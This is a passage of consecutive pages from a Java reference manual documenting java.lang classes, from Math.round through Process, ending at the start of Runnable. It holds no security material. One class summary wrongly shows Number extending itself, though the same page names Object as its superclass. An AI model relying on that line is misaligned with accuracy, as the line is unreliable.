The value of its argument rounded to the nearest int.

Description

This method returns its float argument rounded to the nearest integral value and converted to an int. If the argument is equidistant from two integers, the method returns the greater of the two integers.

If the argument is positive infinity or any other value greater than the Integer.MAX_VALUE, the method returns Integer.MAX_VALUE. If the argument is negative infinity or any other value less than Integer.MIN_VALUE, the method returns Integer.MIN_VALUE. If the argument is NaN, the method returns 0.

sin

public static native double sin(double a)

Parameters

a

A double value that's an angle measured in radians.

Returns

The sine of the given angle.

Description

This method returns the sine of the given angle measured in radians.

If the angle is NaN or an infinity value, the method returns NaN. If the angle is positive zero, the method returns positive zero. If the angle is negative zero, the method returns negative zero.

sqrt

public static native double sqrt(double a)

Parameters

a

A double value.

Returns

The square root of its argument.

Description

This method returns the square root of its argument.

If the argument is negative or NaN, the method returns NaN. If the argument is positive infinity, the method returns positive infinity. If the argument is positive or negative zero, the method returns that same value.

tan

public static native double tan(double a)

Parameters

a

A double value that is an angle measured in radians.

Returns

The tangent of the given angle.

Description

This method returns the tangent of the given angle measured in radians.

If the angle is NaN or an infinity value, the method returns NaN. If the angle is positive zero, the method returns positive zero. If the angle is negative zero, the method returns negative zero.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Double, Float, Integer, Long, Object

Previous | Home | Next
Long | Book Index | NegativeArraySizeException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] NegativeArraySizeException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

NegativeArraySizeException

Name

NegativeArraySizeException

Synopsis

Class Name:

java.lang.NegativeArraySizeException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A NegativeArraySizeException is thrown in response to an attempt to create an array with a negative size.

Class Summary

public class java.lang.NegativeArraySizeException
             extends java.lang.RuntimeException {
  // Constructors
  public NegativeArraySizeException();
  public NegativeArraySizeException(String s);
}

Constructors

NegativeArraySizeException

public NegativeArraySizeException()

Description

This constructor creates a NegativeArraySizeException with no associated detail message.

public NegativeArraySizeException(String s)

Parameters

s

The detail message.

Description

This constructor creates a NegativeArraySizeException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, RuntimeException, Throwable

Previous | Home | Next
Math | Book Index | NoClassDefFoundError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] NoClassDefFoundError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

NoClassDefFoundError

Name

NoClassDefFoundError

Synopsis

Class Name:

java.lang.NoClassDefFoundError

Superclass:

java.lang.LinkageError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A NoClassDefFoundError is thrown when the definition of a class cannot be found.

Class Summary

public class java.lang.NoClassDefFoundError extends java.lang.LinkageError {
  // Constructors
  public NoClassDefFoundError();
  public NoClassDefFoundError(String s);
}

Constructors

NoClassDefFoundError

public NoClassDefFoundError()

Description

This constructor creates a NoClassDefFoundError with no associated detail message.

public NoClassDefFoundError(String s)

Parameters

s

The detail message.

Description

This constructor creates a NoClassDefFoundError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, LinkageError, Throwable

Previous | Home | Next
NegativeArraySizeException | Book Index | NoSuchFieldError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] NoSuchFieldError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

NoSuchFieldError

Name

NoSuchFieldError

Synopsis

Class Name:

java.lang.NoSuchFieldError

Superclass:

java.lang.IncompatibleClassChangeError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A NoSuchFieldError is thrown in response to an attempt to reference an instance or class variable that is not defined in the current definition of a class. Usually this error is caught by the compiler; it can occur at run-time if the definition of a class is changed after the class that references it was last compiled.

Class Summary

public class java.lang.NoSuchFieldError
             extends java.lang.IncompatibleClassChangeError {
  // Constructors
  public NoSuchFieldError();
  public NoSuchFieldError(String s);
}

Constructors

NoSuchFieldError

public NoSuchFieldError()

Description

This constructor creates a NoSuchFieldError with no associated detail message.

public NoSuchFieldError(String s)

Parameters

s

The detail message.

Description

This constructor creates a NoSuchFieldError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, IncompatibleClassChangeError, Throwable

Previous | Home | Next
NoClassDefFoundError | Book Index | NoSuchFieldException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] NoSuchFieldException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

NoSuchFieldException

Name

NoSuchFieldException

Synopsis

Class Name:

java.lang.NoSuchFieldException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A NoSuchFieldException is thrown when a specified variable cannot be found.

Class Summary

public class java.lang.NoSuchFieldException extends java.lang.Exception {
  // Constructors
  public NoSuchFieldException();
  public NoSuchFieldException(String s);
}

Constructors

NoSuchFieldException

public NoSuchFieldException()

Description

This constructor creates a NoSuchFieldException with no associated detail message.

public NoSuchFieldException(String s)

Parameters

s

The detail message.

Description

This constructor creates a NoSuchFieldException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, Throwable

Previous | Home | Next
NoSuchFieldError | Book Index | NoSuchMethodError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] NoSuchMethodError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

NoSuchMethodError

Name

NoSuchMethodError

Synopsis

Class Name:

java.lang.NoSuchMethodError

Superclass:

java.lang.IncompatibleClassChangeError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A NoSuchMethodError is thrown in response to an attempt to reference a method that is not defined in the current definition of a class. Usually this error is caught by the compiler; it can occur at run-time if the definition of a class is changed after the class that references it was last compiled.

Class Summary

public class java.lang.NoSuchMethodError
             extends java.lang.IncompatibleClassChangeError {
  // Constructors
  public NoSuchMethodError();
  public NoSuchMethodError(String s);
}

Constructors

NoSuchMethodError

public NoSuchMethodError()

Description

This constructor creates a NoSuchMethodError with no associated detail message.

public NoSuchMethodError(String s)

Parameters

s

The detail message.

Description

This constructor creates a NoSuchMethodError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, IncompatibleClassChangeError, Throwable

Previous | Home | Next
NoSuchFieldException | Book Index | NoSuchMethodException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] NoSuchMethodException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

NoSuchMethodException

Name

NoSuchMethodException

Synopsis

Class Name:

java.lang.NoSuchMethodException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A NoSuchMethodException is thrown when a specified method cannot be found.

Class Summary

public class java.lang.NoSuchMethodException extends java.lang.Exception {
  // Constructors
  public NoSuchMethodException();
  public NoSuchMethodException(String s);
}

Constructors

NoSuchMethodException

public NoSuchMethodException()

Description

This constructor creates a NoSuchMethodException with no associated detail message.

public NoSuchMethodException(String s)

Parameters

s

The detail message.

Description

This constructor creates a NoSuchMethodException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, Throwable

Previous | Home | Next
NoSuchMethodError | Book Index | NullPointerException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] NullPointerException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

NullPointerException

Name

NullPointerException

Synopsis

Class Name:

java.lang.NullPointerException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A NullPointerException is thrown when there is an attempt to access an object through a null object reference. This can occur when there is an attempt to access an instance variable or call a method through a null object or when there is an attempt to subscript an array with a null object.

Class Summary

public class java.lang.NullPointerException
             extends java.lang.RuntimeException {
  // Constructors
  public NullPointerException();
  public NullPointerException(String s);
}

Constructors

NullPointerException

public NullPointerException()

Description

This constructor creates a NullPointerException with no associated detail message.

public NullPointerException(String s)

Parameters

s

The detail message.

Description

This constructor creates a NullPointerException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, RuntimeException, Throwable

Previous | Home | Next
NoSuchMethodException | Book Index | Number
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Number

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Number

Name

Number

Synopsis

Class Name:

java.lang.Number

Superclass:

java.lang.Object

Immediate Subclasses:

java.lang.Byte, java.lang.Double,

java.lang.Float, java.lang.Integer,

java.lang.Long, java.lang.Short,

java.math.BigDecimal,

java.math.BigInteger

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Number class is an abstract class that serves as the superclass for all of the classes that provide object wrappers for primitive numeric values: byte, short, int, long, float, and double. Wrapping a primitive value is useful when you need to treat such a value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a primitive value for one of these arguments, but you can provide a reference to an object that encapsulates the primitive value. Furthermore, as of JDK 1.1, these wrapper classes are necessary to support the Reflection API and class literals.

The Number class defines six methods that must be implemented by its subclasses: byteValue(), shortValue(), intValue(), longValue(), floatValue(), and doubleValue(). This means that a Number object can be fetched as an byte, short, int, long, float, or double value, without regard for its actual class.

Class Summary

public abstract class java.lang.Number extends java.lang.Number
                                       implements java.io.Serializable {
    // Instance Methods
    public abstract byte byteValue();                  // New in 1.1
    public abstract double doubleValue();
    public abstract float floatValue();
    public abstract int intValue();
    public abstract long longValue();
    public abstract short shortValue();                // New in 1.1
}

Instance Methods

byteValue

public abstract byte byteValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a byte.

Description

This method returns the value of this object as a byte. If the data type of the value is not byte, rounding may occur.

doubleValue

public abstract double doubleValue()

Returns

The value of this object as a double.

Description

This method returns the value of this object as a double. If the data type of the value is not double, rounding may occur.

floatValue

public abstract float floatValue()

Returns

The value of this object as a float.

Description

This method returns the value of this object as a float. If the data type of the value is not float, rounding may occur.

intValue

public abstract int intValue()

Returns

The value of this object as an int.

Description

This method returns the value of this object as an int. If the type of value is not an int, rounding may occur.

longValue

public abstract long longValue()

Returns

The value of this object as a long.

Description

This method returns the value of this object as a long. If the type of value is not a long, rounding may occur.

shortValue

public abstract short shortValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a short.

Description

This method returns the value of this object as a short. If the type of value is not a short, rounding may occur.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Byte, Double, Float, Integer, Long, Object, Short

Previous | Home | Next
NullPointerException | Book Index | NumberFormatException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] NumberFormatException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

NumberFormatException

Name

NumberFormatException

Synopsis

Class Name:

java.lang.NumberFormatException

Superclass:

java.lang.IllegalArgumentException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A NumberFormatException is thrown to indicate that an attempt to parse numeric information in a string has failed.

Class Summary

public class java.lang.NumberFormatException
             extends java.lang.IllegalArgumentException {
  // Constructors
  public NumberFormatException();
  public NumberFormatException(String s);
}

Constructors

NumberFormatException

public NumberFormatException()

Description

This constructor creates a NumberFormatException with no associated detail message.

public NumberFormatException(String s)

Parameters

s

The detail message.

Description

This constructor creates a NumberFormatException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IllegalArgumentException, RuntimeException, Throwable

Previous | Home | Next
Number | Book Index | Object
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Object

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Object

Name

Object

Synopsis

Class Name:

java.lang.Object

Superclass:

None

Immediate Subclasses:

Too many to be listed here

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Object class is the ultimate superclass of all other classes in Java. Because every other class is a subclass of Object, all of the methods accessible from Object are inherited by every other class. In other words, all objects in Java, including arrays, have access to implementations of the methods in Object.

The methods of Object provide some basic object functionality. The equals() method compares two objects for equality, while the hashCode() method returns a hashcode for an object. The getClass() method returns the Class object associated with an object. The wait(), notify(), and notifyAll() methods support thread synchronization for an object. The toString() method provides a string representation of an object.

Some of these methods should be overridden by subclasses of Object. For example, every class should provide its own implementation of the toString() method, so that it can provide an appropriate string representation.

Although it is possible to create an instance of the Object class, this is rarely done because it is more useful to create specialized objects. However, it is often useful to declare a variable that contains a reference to an Object because such a variable can contain a reference to an object of any other class.

Class Summary

public class java.lang.Object {
    // Constructors
    public Object();
    // Public Instance Methods
    public boolean equals(Object obj);
    public final native Class getClass();
    public native int hashCode();
    public final native void notify();
    public final native void notifyAll();
    public String toString();
    public final native void wait();
    public final native void wait(long millis);
    public final native void wait(long millis, int nanos);
    // Protected Instance Methods
    protected native Object clone();
    protected void finalize() throws Throwable;
}

Constructors

Object

public Object()

Description

Creates an instance of the Object class.

Public Instance Methods

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Description

The equals() method of Object returns true if the obj parameter refers to the same object as the object this method is associated with. This is equivalent to using the == operator to compare two objects.

Some classes, such as String, override the equals() method to provide a comparison based on the contents of the two objects, rather than on the strict equality of the references. Any subclass can override the equals() method to implement an appropriate comparison, as long as the overriding method satisfies the following rules for an equivalence relation:

  • The method is reflexive : given a reference x, x.equals(x) returns true.

  • The method is symmetric : given references x and y, x.equals(y) returns true if and only if y.equals(x) returns true.

  • The method is transitive : given references x, y, and z, if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) returns true.

  • The method is consistent : given references x and y, multiple invocations of x.equals(y) consistently return true or consistently return false, provided that no information contained by the objects referenced by x or y changes.

  • A comparison with null returns false: given a reference x that is non-null, x.equals(null) returns false.

getClass

public final native Class getClass()

Returns

A reference to the Class object that describes the class of this object.

Description

The getClass() method of Object returns the Class object that describes the class of this object. This method is final, so it cannot be overridden by subclasses.

hashCode

public native int hashCode()

Returns

A relatively unique value that should be the same for all objects that are considered equal.

Description

The hashCode() method of Object calculates a hashcode value for this object. The method returns an integer value that should be relatively unique to the object. If the equals() method for the object bases its result on the contents of the object, the hashcode() method should also base its result on the contents. The hashCode() method is provided for the benefit of hashtables, which store and retrieve elements using key values called hashcodes. The internal placement of a particular piece of data is determined by its hashcode; hashtables are designed to use hashcodes to provide efficient retrieval.

The java.util.Hashtable class provides an implementation of a hashtable that stores values of type Object. Each object is stored in the hashtable based on the hash code of its key object. It is important that each object have the most unique hash code possible. If two objects have the same hash code but they are not equal (as determined by equals()), a Hashtable that stores these two objects may need to spend additional time searching when it is trying to retrieve objects. The implementation of hashCode() in Object tries to make sure that every object has a distinct hash code by basing its result on the internal representation of a reference to the object.

Some classes, such as String, override the hashCode() method to produce values based on the contents of individual objects, instead of the objects themselves. In other words, two String objects that contain the exact same strings have the same hash code. If String did not override the hashCode() method inherited from Object, these two String objects would have different hash code values and it would be impossible to use String objects as keys for hashtables.

Any subclass can override the hashCode() method to implement an appropriate way of producing hash code values, as long as the overriding method satisfies the following rules:

  • If the hashCode() method is called on the same object more than once during the execution of a Java application, it must consistently return the same integer value. The integer does not, however, need to be consistent between Java applications, or from one execution of an application to another execution of the same application.

  • If two objects compare as equal according to their equals() methods, calls to the hashCode() methods for the objects must produce the same result.

  • If two objects compare as not equal according to their equals() methods, calls to the hashCode() methods for the two objects are not required to produce distinct results. However, implementations of hashCode() that produce distinct results for unequal objects may improve the performance of hashtables.

In general, if a subclass overrides the equals() method of Object, it should also override the hashCode() method.

notify

public final native void notify()

Throws

IllegalMonitorStateException

If the method is called from a thread that does not hold this object's lock.

Description

The notify() method wakes up a thread that is waiting to return from a call to this object's wait() method. The awakened thread can resume executing as soon as it regains this object's lock. If more than one thread is waiting, the notify() method arbitrarily awakens just one of the threads.

The notify() method can be called only by a thread that is the current owner of this object's lock. A thread holds the lock on this object while it is executing a synchronized instance method of the object or executing the body of a synchronized statement that synchronizes on the object. A thread can also hold the lock for a Class object if it is executing a synchronized static method of that class.

This method is final, so it cannot be overridden by subclasses.

notifyAll

public final native void notifyAll()

Throws

IllegalMonitorStateException

If the method is called from a thread that does not hold this object's lock.

Description

The notifyAll() method wakes up all the threads that are waiting to return from a call to this object's wait() method. Each awakened thread can resume executing as soon as it regains this object's lock.

The notifyAll() method can be called only by a thread that is the current owner of this object's lock. A thread holds the lock on this object while it is executing a synchronized instance method of the object or executing the body of a synchronized statement that synchronizes on the object. A thread can also hold the lock for a Class object if it is executing a synchronized static method of that class.

This method is final, so it cannot be overridden by subclasses.

toString

public String toString()

Returns

The string representation of this object.

Description

The toString() method of Object returns a generic string representation of this object. The method returns a String that consists of the object's class name, an "at" sign, and the unsigned hexadecimal representation of the value returned by the object's hashCode() method.

Many classes override the toString() method to provide a string representation that is specific to that type of object. Any subclass can override the toString() method; the overriding method should simply return a String that represents the contents of the object with which it is associated.

wait

public final native void wait() throws InterruptedException

Throws

IllegalMonitorStateException

If the method is called from a thread that does not hold this object's lock.

InterruptedException

If another thread interrupted this thread.

Description

The wait() method causes a thread to wait until it is notified by another thread to stop waiting. When wait() is called, the thread releases its lock on this object and waits until another thread notifies it to wake up through a call to either notify() or notifyAll(). After the thread is awakened, it has to regain the lock on this object before it can resume executing.

The wait() method can be called only by a thread that is the current owner of this object's lock. A thread holds the lock on this object while it is executing a synchronized instance method of the object or executing the body of a synchronized statement that synchronizes on the object. A thread can also hold the lock for a Class object if it is executing a synchronized static method of that class.

This method is final, so it cannot be overridden by subclasses.

 public final native void wait(long timeout) throws InterruptedException

Parameters

timeout

The maximum number of milliseconds to wait.

Throws

IllegalMonitorStateException

If the method is called from a thread that does not hold this object's lock.

InterruptedException

If another thread interrupted this thread.

Description

The wait() method causes a thread to wait until it is notified by another thread to stop waiting or until the specified amount of time has elapsed, whichever comes first. When wait() is called, the thread releases its lock on this object and waits until another thread notifies it to wake up through a call to either notify() or notifyAll(). If the thread is not notified within the specified timeout period, it is automatically awakened when that amount of time has elapsed. If timeout is zero, the thread waits indefinitely, just as if wait() had been called without a timeout argument. After the thread is awakened, it has to regain the lock on this object before it can resume executing.

The wait() method can be called only by a thread that is the current owner of this object's lock. A thread holds the lock on this object while it is executing a synchronized instance method of the object or executing the body of a synchronized statement that synchronizes on the object. A thread can also hold the lock for a Class object if it is executing a synchronized static method of that class.

This method is final, so it cannot be overridden by subclasses.

 public final native void wait(long timeout, int nanos) throws InterruptedException

Parameters

timeout

The maximum number of milliseconds to wait.

nanos

An additional number of nanoseconds to wait.

Throws

IllegalMonitorStateException

If the method is called from a thread that does not hold this object's lock.

InterruptedException

If another thread interrupted this thread.

Description

The wait() method causes a thread to wait until it is notified by another thread to stop waiting or until the specified amount of time has elapsed, whichever comes first. When wait() is called, the thread releases its lock on this object and waits until another thread notifies it to wake up through a call to either notify() or notifyAll(). If the thread is not notified within the specified time period, it is automatically awakened when that amount of time has elapsed. If timeout and nanos are zero, the thread waits indefinitely, just as if wait() had been called without any arguments. After the thread is awakened, it has to regain the lock on this object before it can resume executing.

The wait() method can be called only by a thread that is the current owner of this object's lock. A thread holds the lock on this object while it is executing a synchronized instance method of the object or executing the body of a synchronized statement that synchronizes on the object. A thread can also hold the lock for a Class object if it is executing a synchronized static method of that class.

Note that Sun's reference implementation of Java does not attempt to implement the precision implied by this method. Instead, it rounds to the nearest millisecond (unless timeout is 0, in which case it rounds up to 1 millisecond) and calls wait(long).

This method is final, so it cannot be overridden by subclasses.

Protected Instance Methods

clone

protected native Object clone() throws CloneNotSupportedException

Returns

A clone of this object.

Throws

OutOfMemoryError

If there is not enough memory to create the new object.

CloneNotSupportedException

If the object is of a class that does not support clone().

Description

A clone of an object is another object of the same type that has all of its instance variables set to the same values as the object being cloned. In other words, a clone is an exact copy of the original object.

The clone() method of Object creates a new object that is a clone of this object. No constructor is used in creating the clone. The clone() method only clones an object if the class of that object indicates that its instances can be cloned. A class indicates that its objects can be cloned by implementing the Cloneable interface.

Although array objects do not implement the Cloneable interface, the clone() method works for arrays. The clone of an array is an array that has the same number of elements as the original array, and each element in the clone array has the same value as the corresponding element in the original array. Note that if an array element contains an object reference, the clone array contains a reference to the same object, not a copy of the object.

A subclass of Object can override the clone() method in Object to provide any additional functionality that is needed. For example, if an object contains references to other objects, the clone() method should recursively call the clone() methods of all the referenced objects. An overriding clone() method can throw a CloneNotSupportedException to indicate that particular objects cannot be cloned.

finalize

protected void finalize() throws Throwable

Throws

Throwable

For any reason that suits an overriding implementation of this method.

Description

The finalize() method is called by the garbage collector when it decides that an object can never be referenced again. The method gives an object a chance to perform any cleanup operations that are necessary before it is destroyed by the garbage collector.

The finalize() method of Object does nothing. A subclass overrides the finalize() method to perform any necessary cleanup operations. The overriding method should call super.finalize() as the very last thing it does, so that any finalize() method in the superclass is called.

When the garbage collector calls an object's finalize() method, the garbage collector does not immediately destroy the object because the finalize() method might do something that results in a reference to the object. Thus the garbage collector waits to destroy the object until it can again prove it is safe to do so. The next time the garbage collector decides it is safe to destroy the object, it does so without calling finalize() again. In other words, the garbage collector never calls the finalize() method more than once for a particular object.

A finalize() method can throw any kind of exception. An exception causes the finalize() method to stop running. The garbage collector then catches and ignores the exception, so it has no further effect on a program.

See Also

CloneNotSupportedException, IllegalMonitorStateException, InterruptedException, OutOfMemoryError, Throwable

Previous | Home | Next
NumberFormatException | Book Index | OutOfMemoryError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] OutOfMemoryError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

OutOfMemoryError

Name

OutOfMemoryError

Synopsis

Class Name:

java.lang.OutOfMemoryError

Superclass:

java.lang.VirtualMachineError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An OutOfMemoryError is thrown when an attempt to allocate memory fails.

Class Summary

public class java.lang.OutOfMemoryError
             extends java.lang.VirtualMachineError {
  // Constructors
  public OutOfMemoryError();
  public OutOfMemoryError(String s);
}

Constructors

OutOfMemoryError

public OutOfMemoryError()

Description

This constructor creates an OutOfMemoryError with no associated detail message.

public OutOfMemoryError(String s)

Parameters

s

The detail message.

Description

This constructor creates an OutOfMemoryError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, Throwable, VirtualMachineError

Previous | Home | Next
Object | Book Index | Process
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Process

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Process

Name

Process

Synopsis

Class Name:

java.lang.Process

Superclass:

java.lang.Object

Immediate Subclasses:

None that are provided on all platforms. However, a platform-specific version of Java should include at least one operating-system-specific subclass.

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Process class describes processes that are started by the exec() method in the Runtime class. A Process object controls a process and gets information about it.

The Process class is an abstract class; therefore, it cannot be instantiated. The actual Process objects created by the exec() method belong to operating-system-specific subclasses of Process that implement the Process methods in platform-dependent ways.

Note that losing all references to a Process object, thereby making it garbage collectable, does not result in the underlying Process object dying. It merely means that there is no longer a Java object to control the process. The process itself continues to run asynchronously. In addition, no guarantees are made as to whether a controlled process will be able to continue after its parent process dies.

Class Summary

public abstract class java.lang.Process extends java.lang.Object {
    // Constructors
    public Process();
    // Instance Methods
    public abstract void destroy();
    public abstract int exitValue();
    public abstract InputStream getErrorStream();
    public abstract InputStream getInputStream();
    public abstract OutputStream getOutputStream();
    public abstract int waitFor();
}

Constructors

Process

public Process()

Description

Creates a Process object.

Instance Methods

destroy

abstract public void destroy()

Description

This method kills the process controlled by this object.

exitValue

abstract public int exitValue()

Returns

The exit value of the process controlled by this object.

Throws

IllegalThreadStateException

If the process is still running and the exit value is not yet available.

Description

This method returns the exit value of the process that this object is controlling.

The waitFor() method is a similar method that waits for the controlled process to terminate and then returns its exit value.

getErrorStream

abstract public InputStream getErrorStream()

Returns

An InputStream object connected to the error stream of the process.

Description

This method returns an InputStream object that can read from the error stream of the process.

Although it is suggested that this InputStream not be buffered, the Java specification does not forbid such an implementation. In other words, although error output from programs is traditionally unbuffered, there is no guarantee that it won't be buffered. This means that error output written by the process may not be received immediately.

getInputStream

abstract public InputStream getInputStream()

Returns

An InputStream object that is connected to the standard output stream of the process.

Description

This method returns an InputStream object that can read from the standard output stream of the process.

This InputStream is likely to be buffered, which means that output written by the process may not be received immediately.

getOutputStream

abstract public OutputStream getOutputStream()

Returns

An OutputStream object that is connected to the standard input stream of the process.

Description

This method returns an OutputStream object that can write to the standard input stream of the process.

This OutputStream is likely to be buffered, which means that input sent to the process may not be received until the buffer fills up or a new line or carriage-return character is sent.

waitFor

abstract public int waitFor()

Returns

The exit value of the process controlled by this object.

Throws

InterruptedException

If another thread interrupts this thread while it is waiting for the process to exit.

Description

This method returns the exit value of the process that this object is controlling. If the process is still running, the method waits until the process terminates and its exit value is available.

The exitValue() method is a similar method that does not wait for the controlled process to terminate.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

InterruptedException, Object, Runtime

Previous | Home | Next
OutOfMemoryError | Book Index | Runnable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Runnable

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Runnable

Name

Runnable

Synopsis

Interface Name:

java.lang.Runnable

Super-interface:

None

